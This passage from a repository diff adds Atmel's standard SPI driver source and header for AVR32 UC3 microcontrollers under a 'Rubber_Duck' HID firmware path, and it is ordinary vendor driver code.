case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC:
|
||||
SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC);
|
||||
break;
|
||||
#if UC3L
|
||||
case AVR32_PM_SMODE_SHUTDOWN:
|
||||
SLEEP(AVR32_PM_SMODE_SHUTDOWN);
|
||||
break;
|
||||
case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN:
|
||||
SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN);
|
||||
break;
|
||||
#endif
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//! @}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* SLEEP_H */
|
423
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.c
Executable file
423
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.c
Executable file
|
@ -0,0 +1,423 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief SPI driver for AVR32 UC3.
|
||||
*
|
||||
* This file defines a useful set of functions for the SPI interface on AVR32
|
||||
* devices.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices with an SPI module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#include "spi.h"
|
||||
|
||||
#ifdef FREERTOS_USED
|
||||
|
||||
#include "FreeRTOS.h"
|
||||
#include "semphr.h"
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
/*! \name SPI Writable Bit-Field Registers
|
||||
*/
|
||||
//! @{
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long cr;
|
||||
avr32_spi_cr_t CR;
|
||||
} u_avr32_spi_cr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long mr;
|
||||
avr32_spi_mr_t MR;
|
||||
} u_avr32_spi_mr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long tdr;
|
||||
avr32_spi_tdr_t TDR;
|
||||
} u_avr32_spi_tdr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long ier;
|
||||
avr32_spi_ier_t IER;
|
||||
} u_avr32_spi_ier_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long idr;
|
||||
avr32_spi_idr_t IDR;
|
||||
} u_avr32_spi_idr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long csr;
|
||||
avr32_spi_csr0_t CSR;
|
||||
} u_avr32_spi_csr_t;
|
||||
|
||||
//! @}
|
||||
|
||||
|
||||
#ifdef FREERTOS_USED
|
||||
|
||||
//! The SPI mutex.
|
||||
static xSemaphoreHandle xSPIMutex;
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz)
|
||||
{
|
||||
int baudDiv = (pba_hz + baudrate / 2) / baudrate;
|
||||
|
||||
if (baudDiv <= 0 || baudDiv > 255) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return baudDiv;
|
||||
}
|
||||
|
||||
spi_status_t spi_initSlave(volatile avr32_spi_t *spi,
|
||||
unsigned char bits,
|
||||
unsigned char spi_mode)
|
||||
{
|
||||
if (spi_mode > 3 ||
|
||||
bits < 8 || bits > 16) {
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
// Reset.
|
||||
spi->cr = AVR32_SPI_CR_SWRST_MASK;
|
||||
|
||||
// Will use CSR0 offsets; these are the same for CSR0 to CSR3.
|
||||
spi->csr0 = ((spi_mode >> 1) << AVR32_SPI_CSR0_CPOL_OFFSET) |
|
||||
(((spi_mode & 0x1) ^ 0x1) << AVR32_SPI_CSR0_NCPHA_OFFSET) |
|
||||
((bits - 8) << AVR32_SPI_CSR0_BITS_OFFSET);
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_initTest(volatile avr32_spi_t *spi)
|
||||
{
|
||||
// Reset.
|
||||
spi->cr = AVR32_SPI_CR_SWRST_MASK;
|
||||
spi->mr |= AVR32_SPI_MR_MSTR_MASK | // Master Mode.
|
||||
AVR32_SPI_MR_LLB_MASK; // Local Loopback.
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options)
|
||||
{
|
||||
u_avr32_spi_mr_t u_avr32_spi_mr;
|
||||
|
||||
if (options->modfdis > 1) {
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
// Reset.
|
||||
spi->cr = AVR32_SPI_CR_SWRST_MASK;
|
||||
|
||||
// Master Mode.
|
||||
u_avr32_spi_mr.mr = spi->mr;
|
||||
u_avr32_spi_mr.MR.mstr = 1;
|
||||
u_avr32_spi_mr.MR.modfdis = options->modfdis;
|
||||
u_avr32_spi_mr.MR.llb = 0;
|
||||
u_avr32_spi_mr.MR.pcs = (1 << AVR32_SPI_MR_PCS_SIZE) - 1;
|
||||
spi->mr = u_avr32_spi_mr.mr;
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_selectionMode(volatile avr32_spi_t *spi,
|
||||
unsigned char variable_ps,
|
||||
unsigned char pcs_decode,
|
||||
unsigned char delay)
|
||||
{
|
||||
u_avr32_spi_mr_t u_avr32_spi_mr;
|
||||
|
||||
if (variable_ps > 1 ||
|
||||
pcs_decode > 1) {
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
u_avr32_spi_mr.mr = spi->mr;
|
||||
u_avr32_spi_mr.MR.ps = variable_ps;
|
||||
u_avr32_spi_mr.MR.pcsdec = pcs_decode;
|
||||
u_avr32_spi_mr.MR.dlybcs = delay;
|
||||
spi->mr = u_avr32_spi_mr.mr;
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip)
|
||||
{
|
||||
#ifdef FREERTOS_USED
|
||||
while (pdFALSE == xSemaphoreTake(xSPIMutex, 20));
|
||||
#endif
|
||||
|
||||
// Assert all lines; no peripheral is selected.
|
||||
spi->mr |= AVR32_SPI_MR_PCS_MASK;
|
||||
|
||||
if (spi->mr & AVR32_SPI_MR_PCSDEC_MASK) {
|
||||
// The signal is decoded; allow up to 15 chips.
|
||||
if (chip > 14) {
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
spi->mr &= ~AVR32_SPI_MR_PCS_MASK | (chip << AVR32_SPI_MR_PCS_OFFSET);
|
||||
} else {
|
||||
if (chip > 3) {
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
spi->mr &= ~(1 << (AVR32_SPI_MR_PCS_OFFSET + chip));
|
||||
}
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip)
|
||||
{
|
||||
unsigned int timeout = SPI_TIMEOUT;
|
||||
|
||||
while (!(spi->sr & AVR32_SPI_SR_TXEMPTY_MASK)) {
|
||||
if (!timeout--) {
|
||||
return SPI_ERROR_TIMEOUT;
|
||||
}
|
||||
}
|
||||
|
||||
// Assert all lines; no peripheral is selected.
|
||||
spi->mr |= AVR32_SPI_MR_PCS_MASK;
|
||||
|
||||
// Last transfer, so deassert the current NPCS if CSAAT is set.
|
||||
spi->cr = AVR32_SPI_CR_LASTXFER_MASK;
|
||||
|
||||
#ifdef FREERTOS_USED
|
||||
xSemaphoreGive(xSPIMutex);
|
||||
#endif
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi,
|
||||
const spi_options_t *options,
|
||||
uint32_t pba_hz)
|
||||
{
|
||||
u_avr32_spi_csr_t u_avr32_spi_csr;
|
||||
|
||||
if (options->spi_mode > 3 ||
|
||||
options->stay_act > 1 ||
|
||||
options->bits < 8 || options->bits > 16) {
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
int baudDiv = getBaudDiv(options->baudrate, pba_hz);
|
||||
|
||||
if (baudDiv < 0) {
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
// Will use CSR0 offsets; these are the same for CSR0 to CSR3.
|
||||
u_avr32_spi_csr.csr = 0;
|
||||
u_avr32_spi_csr.CSR.cpol = options->spi_mode >> 1;
|
||||
u_avr32_spi_csr.CSR.ncpha = (options->spi_mode & 0x1) ^ 0x1;
|
||||
u_avr32_spi_csr.CSR.csaat = options->stay_act;
|
||||
u_avr32_spi_csr.CSR.bits = options->bits - 8;
|
||||
u_avr32_spi_csr.CSR.scbr = baudDiv;
|
||||
u_avr32_spi_csr.CSR.dlybs = options->spck_delay;
|
||||
u_avr32_spi_csr.CSR.dlybct = options->trans_delay;
|
||||
|
||||
switch(options->reg) {
|
||||
case 0:
|
||||
spi->csr0 = u_avr32_spi_csr.csr;
|
||||
break;
|
||||
case 1:
|
||||
spi->csr1 = u_avr32_spi_csr.csr;
|
||||
break;
|
||||
case 2:
|
||||
spi->csr2 = u_avr32_spi_csr.csr;
|
||||
break;
|
||||
case 3:
|
||||
spi->csr3 = u_avr32_spi_csr.csr;
|
||||
break;
|
||||
default:
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
#ifdef FREERTOS_USED
|
||||
if (!xSPIMutex)
|
||||
{
|
||||
// Create the SPI mutex.
|
||||
vSemaphoreCreateBinary(xSPIMutex);
|
||||
if (!xSPIMutex)
|
||||
{
|
||||
while(1);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
void spi_enable(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->cr = AVR32_SPI_CR_SPIEN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void spi_disable(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->cr = AVR32_SPI_CR_SPIDIS_MASK;
|
||||
}
|
||||
|
||||
|
||||
int spi_is_enabled(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return (spi->sr & AVR32_SPI_SR_SPIENS_MASK) != 0;
|
||||
}
|
||||
|
||||
unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return ((spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0);
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data)
|
||||
{
|
||||
unsigned int timeout = SPI_TIMEOUT;
|
||||
|
||||
while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) {
|
||||
if (!timeout--) {
|
||||
return SPI_ERROR_TIMEOUT;
|
||||
}
|
||||
}
|
||||
|
||||
spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET;
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, uint16_t data,
|
||||
uint8_t pcs, uint8_t lastxfer)
|
||||
{
|
||||
unsigned int timeout = SPI_TIMEOUT;
|
||||
|
||||
if (pcs > 14 || lastxfer > 1) {
|
||||
return SPI_ERROR_ARGUMENT;
|
||||
}
|
||||
|
||||
while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) {
|
||||
if (!timeout--) {
|
||||
return SPI_ERROR_TIMEOUT;
|
||||
}
|
||||
}
|
||||
|
||||
spi->tdr = (data << AVR32_SPI_TDR_TD_OFFSET) |
|
||||
(pcs << AVR32_SPI_TDR_PCS_OFFSET) |
|
||||
(lastxfer << AVR32_SPI_TDR_LASTXFER_OFFSET);
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return ((spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0);
|
||||
}
|
||||
|
||||
|
||||
unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return ((spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0);
|
||||
}
|
||||
|
||||
|
||||
spi_status_t spi_read(volatile avr32_spi_t *spi, unsigned short *data)
|
||||
{
|
||||
unsigned int timeout = SPI_TIMEOUT;
|
||||
|
||||
while ((spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) !=
|
||||
(AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) {
|
||||
if (!timeout--) {
|
||||
return SPI_ERROR_TIMEOUT;
|
||||
}
|
||||
}
|
||||
|
||||
*data = spi->rdr >> AVR32_SPI_RDR_RD_OFFSET;
|
||||
|
||||
return SPI_OK;
|
||||
}
|
||||
|
||||
|
||||
unsigned char spi_getStatus(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi_status_t ret = SPI_OK;
|
||||
unsigned long sr = spi->sr;
|
||||
|
||||
if (sr & AVR32_SPI_SR_OVRES_MASK) {
|
||||
ret = SPI_ERROR_OVERRUN;
|
||||
}
|
||||
|
||||
if (sr & AVR32_SPI_SR_MODF_MASK) {
|
||||
ret += SPI_ERROR_MODE_FAULT;
|
||||
}
|
||||
|
||||
if (ret == (SPI_ERROR_OVERRUN + SPI_ERROR_MODE_FAULT)) {
|
||||
return SPI_ERROR_OVERRUN_AND_MODE_FAULT;
|
||||
}
|
||||
else if (ret > 0) {
|
||||
return ret;
|
||||
} else {
|
||||
return SPI_OK;
|
||||
}
|
||||
}
|
698
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.h
Executable file
698
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.h
Executable file
|
@ -0,0 +1,698 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief SPI driver for AVR32 UC3.
|
||||
*
|
||||
* This file defines a useful set of functions for the SPI interface on AVR32
|
||||
* devices.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices with an SPI module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _SPI_H_
|
||||
#define _SPI_H_
|
||||
|
||||
#include "compiler.h"
|
||||
|
||||
//! Time-out value (number of attempts).
|
||||
#define SPI_TIMEOUT 15000
|
||||
|
||||
//! Spi Mode 0.
|
||||
#define SPI_MODE_0 0
|
||||
|
||||
//! Spi Mode 1.
|
||||
#define SPI_MODE_1 1
|
||||
|
||||
|
||||
//! Status codes used by the SPI driver.
|
||||
typedef enum
|
||||
{
|
||||
SPI_ERROR = -1,
|
||||
SPI_OK = 0,
|
||||
SPI_ERROR_TIMEOUT = 1,
|
||||
SPI_ERROR_ARGUMENT,
|
||||
SPI_ERROR_OVERRUN,
|
||||
SPI_ERROR_MODE_FAULT,
|
||||
SPI_ERROR_OVERRUN_AND_MODE_FAULT
|
||||
} spi_status_t;
|
||||
|
||||
//! Option structure for SPI channels.
|
||||
typedef struct
|
||||
{
|
||||
//! The SPI channel to set up.
|
||||
uint8_t reg;
|
||||
|
||||
//! Preferred baudrate for the SPI.
|
||||
uint32_t baudrate;
|
||||
|
||||
//! Number of bits in each character (8 to 16).
|
||||
uint8_t bits;
|
||||
//! Delay before first clock pulse after selecting slave (in PBA clock periods).
|
||||
uint8_t spck_delay;
|
||||
|
||||
//! Delay between each transfer/character (in PBA clock periods).
|
||||
uint8_t trans_delay;
|
||||
|
||||
//! Sets this chip to stay active after last transfer to it.
|
||||
uint8_t stay_act;
|
||||
|
||||
//! Which SPI mode to use when transmitting.
|
||||
uint8_t spi_mode;
|
||||
|
||||
//! Disables the mode fault detection.
|
||||
//! With this bit cleared, the SPI master mode will disable itself if another
|
||||
//! master tries to address it.
|
||||
uint8_t modfdis;
|
||||
} spi_options_t;
|
||||
|
||||
/*! \brief Reset the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
*/
|
||||
static inline void spi_reset(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->cr = AVR32_SPI_CR_SWRST_MASK;
|
||||
}
|
||||
|
||||
/*! \brief Set Master Mode of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_set_master_mode(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.mstr = 1;
|
||||
}
|
||||
|
||||
/*! \brief Set Slave Mode of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_set_slave_mode(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.mstr = 0;
|
||||
}
|
||||
|
||||
/*! \brief Enable Modfault of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_enable_modfault(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.modfdis = 0;
|
||||
}
|
||||
|
||||
/*! \brief Disable Modfault of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_disable_modfault(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.modfdis = 1;
|
||||
}
|
||||
|
||||
/*! \brief Enable Loopback of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_enable_loopback(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.llb = 1;
|
||||
}
|
||||
|
||||
/*! \brief Disable Loopback of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_disable_loopback(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.llb = 0;
|
||||
}
|
||||
|
||||
/*! \brief Enable Chip Select Decoding of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_enable_chipselect_decoding(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.pcsdec = 1;
|
||||
}
|
||||
|
||||
/*! \brief Disable Chip Select Decoding of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_disable_chipselect_decoding(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.pcsdec = 0;
|
||||
}
|
||||
|
||||
/*! \brief Set Chip Select of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip_select Chip Select.
|
||||
*/
|
||||
static inline void spi_set_chipselect(volatile avr32_spi_t *spi,uint8_t chip_select)
|
||||
{
|
||||
spi->MR.pcs = chip_select;
|
||||
}
|
||||
|
||||
/*! \brief Enable Variable Chip Select of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_enable_variable_chipselect(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.ps = 1;
|
||||
}
|
||||
|
||||
/*! \brief Disable Variable Chip Select of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*/
|
||||
static inline void spi_disable_variable_chipselect(volatile avr32_spi_t *spi)
|
||||
{
|
||||
spi->MR.ps = 0;
|
||||
}
|
||||
|
||||
/*! \brief Set Delay Between Chip Selects of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param delay Delay.
|
||||
*/
|
||||
static inline void spi_set_delay(volatile avr32_spi_t *spi,uint8_t delay)
|
||||
{
|
||||
spi->MR.dlybcs = delay;
|
||||
}
|
||||
|
||||
/*! \brief Set Delay Between Consecutive Transfer on a Chip Selects of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip_select Chip Select.
|
||||
* \param delay Delay.
|
||||
*/
|
||||
|
||||
static inline void spi_set_chipselect_delay_bct(volatile avr32_spi_t *spi,
|
||||
uint8_t chip_select, uint8_t delay)
|
||||
{
|
||||
Assert(chip_select>3);
|
||||
switch(chip_select) {
|
||||
case 0:
|
||||
spi->CSR0.dlybct = delay;
|
||||
break;
|
||||
case 1:
|
||||
spi->CSR1.dlybct = delay;
|
||||
break;
|
||||
case 2:
|
||||
spi->CSR2.dlybct = delay;
|
||||
break;
|
||||
case 3:
|
||||
spi->CSR3.dlybct = delay;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip_select Chip Select.
|
||||
* \param delay Delay.
|
||||
*/
|
||||
static inline void spi_set_chipselect_delay_bs(volatile avr32_spi_t *spi,
|
||||
uint8_t chip_select, uint8_t delay)
|
||||
{
|
||||
Assert(chip_select>3);
|
||||
switch(chip_select) {
|
||||
case 0:
|
||||
spi->CSR0.dlybs = delay;
|
||||
break;
|
||||
case 1:
|
||||
spi->CSR1.dlybs = delay;
|
||||
break;
|
||||
case 2:
|
||||
spi->CSR2.dlybs = delay;
|
||||
break;
|
||||
case 3:
|
||||
spi->CSR3.dlybs = delay;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip_select Chip Select.
|
||||
* \param len Bits per Transfer [8...16].
|
||||
*/
|
||||
static inline void spi_set_bits_per_transfer(volatile avr32_spi_t *spi, uint8_t chip_select,
|
||||
uint8_t len)
|
||||
{
|
||||
Assert((len>8)&&(len<16));
|
||||
switch(chip_select) {
|
||||
case 0:
|
||||
spi->CSR0.bits = len - 8;
|
||||
break;
|
||||
case 1:
|
||||
spi->CSR1.bits = len - 8;
|
||||
break;
|
||||
case 2:
|
||||
spi->CSR2.bits = len - 8;
|
||||
break;
|
||||
case 3:
|
||||
spi->CSR3.bits = len - 8;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/*! \brief Set baudrate for a Chip Selects of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip_select Chip Select.
|
||||
* \param scbr Baudrate Register.
|
||||
*/
|
||||
static inline void spi_set_baudrate_register(volatile avr32_spi_t *spi,uint8_t chip_select,
|
||||
uint8_t scbr)
|
||||
{
|
||||
switch(chip_select) {
|
||||
case 0:
|
||||
spi->CSR0.scbr = scbr;
|
||||
break;
|
||||
case 1:
|
||||
spi->CSR1.scbr = scbr;
|
||||
break;
|
||||
case 2:
|
||||
spi->CSR2.scbr = scbr;
|
||||
break;
|
||||
case 3:
|
||||
spi->CSR3.scbr = scbr;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/*! \brief Enable Active mode of a Chip Selects of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip_select Chip Select.
|
||||
*/
|
||||
static inline void spi_enable_active_mode(volatile avr32_spi_t *spi,uint8_t chip_select)
|
||||
{
|
||||
switch(chip_select) {
|
||||
case 0:
|
||||
spi->CSR0.csaat = 1;
|
||||
break;
|
||||
case 1:
|
||||
spi->CSR1.csaat = 1;
|
||||
break;
|
||||
case 2:
|
||||
spi->CSR2.csaat = 1;
|
||||
break;
|
||||
case 3:
|
||||
spi->CSR3.csaat = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/*! \brief Set Mode of the SPI.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param chip_select Chip Select.
|
||||
* \param flags SPI Mode.
|
||||
*/
|
||||
static inline void spi_set_mode(volatile avr32_spi_t *spi,uint8_t chip_select,
|
||||
uint8_t flags)
|
||||
{
|
||||
switch(chip_select) {
|
||||
case 0:
|
||||
spi->CSR0.cpol = flags >> 1;
|
||||
spi->CSR0.ncpha = (flags & 0x1) ^ 0x1;
|
||||
break;
|
||||
case 1:
|
||||
spi->CSR1.cpol = flags >> 1;
|
||||
spi->CSR1.ncpha = (flags & 0x1) ^ 0x1;
|
||||
break;
|
||||
case 2:
|
||||
spi->CSR2.cpol = flags >> 1;
|
||||
spi->CSR2.ncpha = (flags & 0x1) ^ 0x1;
|
||||
break;
|
||||
case 3:
|
||||
spi->CSR3.cpol = flags >> 1;
|
||||
spi->CSR3.ncpha = (flags & 0x1) ^ 0x1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/*! \brief Put one data to a SPI peripheral.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \param data The data byte to be loaded
|
||||
*
|
||||
*/
|
||||
static inline void spi_put(volatile avr32_spi_t *spi, uint16_t data)
|
||||
{
|
||||
spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET;
|
||||
}
|
||||
|
||||
/*! \brief Get one data to a SPI peripheral.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
* \return The data byte
|
||||
*
|
||||
*/
|
||||
static inline uint16_t spi_get(volatile avr32_spi_t *spi)
|
||||
{
|
||||
return (spi->rdr >> AVR32_SPI_RDR_RD_OFFSET);
|
||||
}
|
||||
|
||||
/*! \brief Checks if all transmissions are complete.
|
||||
*
|
||||
* \param spi Base address of the SPI instance.
|
||||
*
|
||||
